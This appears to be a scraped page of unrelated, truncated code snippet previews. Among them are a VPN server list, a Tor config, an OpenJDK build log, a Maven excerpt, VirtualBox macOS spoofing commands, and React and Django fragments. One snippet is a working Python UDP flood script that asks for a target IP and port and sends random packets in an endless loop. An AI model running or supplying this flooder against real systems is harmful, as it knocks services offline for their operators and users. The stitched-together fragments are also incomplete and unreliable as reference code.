This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"status": "ok", | |
"lines": [{ | |
"ipaddr": "180.97.220.129", | |
"private": false, | |
"mode": "back-cn", | |
"load": 16, | |
"name": "回国线路24", | |
"location": "镇江", | |
"id": 35 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html lang="zh-CN"> | |
<head> | |
<style> | |
html { | |
-webkit-user-select: none; | |
user-select: none; | |
height: 100%; | |
width: 100%; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SOCKSPort 9060 | |
DataDirectory /usr/local/var/lib/tor2 | |
ControlPort 9061 | |
HashedControlPassword 16:4180199633DE420C60DED881F36D8138FEF06EE6A48E7012CA35328BEB | |
MaxCircuitDirtiness 600 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
==================================================== | |
A new configuration has been successfully created in | |
/home/cloud-user/test/jdk8u-dev/build/linux-x86_64-normal-server-release | |
using default settings. | |
Configuration summary: | |
* Debug level: release | |
* JDK variant: normal | |
* JVM variants: server | |
* OpenJDK target: OS: linux, CPU architecture: x86, address length: 64 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include "profile.h" | |
#define _CRT_SECURE_NO_WARNINGS | |
#define TRUE 1 | |
#define FALSE 0 | |
#define MAX_LINE_LENGTH (NAME_STRING_LENGTH + NAME_STRING_LENGTH + EMAIL_STRING_LENGTH) | |
int main() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- part of the pom --> | |
<build> | |
<plugins> | |
<plugin> | |
<groupId>org.jacoco</groupId> | |
<artifactId>jacoco-maven-plugin</artifactId> | |
<executions> | |
<execution> | |
<id>report-aggregate</id> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket #Imports needed libraries | |
import random | |
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket | |
bytes=random._urandom(1024) #Creates packet | |
ip=raw_input('Target IP: ') #The IP we are attacking | |
port=input('Port: ') #Port we direct to attack | |
while 1: #Infinitely loops sending packets to the port until the program is exited. | |
sock.sendto(bytes,(ip,port)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
given a Model with: | |
category = models.CharField(max_length=32, choices=CATEGORY_CHOICES) | |
pubdate = models.DateTimeField(default=datetime.now) | |
<other fields> | |
Fetch the item from each category with the latest pubdate. | |
''' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
vboxmanage modifyvm "MacOS 10.14" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff | |
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3" | |
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0" | |
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple" | |
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/smc/0/Config/DeviceKey" "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc" | |
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC" 1 | |
vboxmanage setextradata "MacOS 10.14" VBoxInternal2/EfiGraphicsResolution 1280x800 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{/* Copied from: https://github.com/facebook/react-native/issues/950#issuecomment-380490025 */} | |
<View style={{flex: 1, flexDirection: 'row'}}> | |
<Image | |
resizeMode='contain' | |
style={{ | |
flex: 1, | |
width: null, | |
height: null, | |
aspectRatio: 926/606}} | |
source={Images[status]} /> |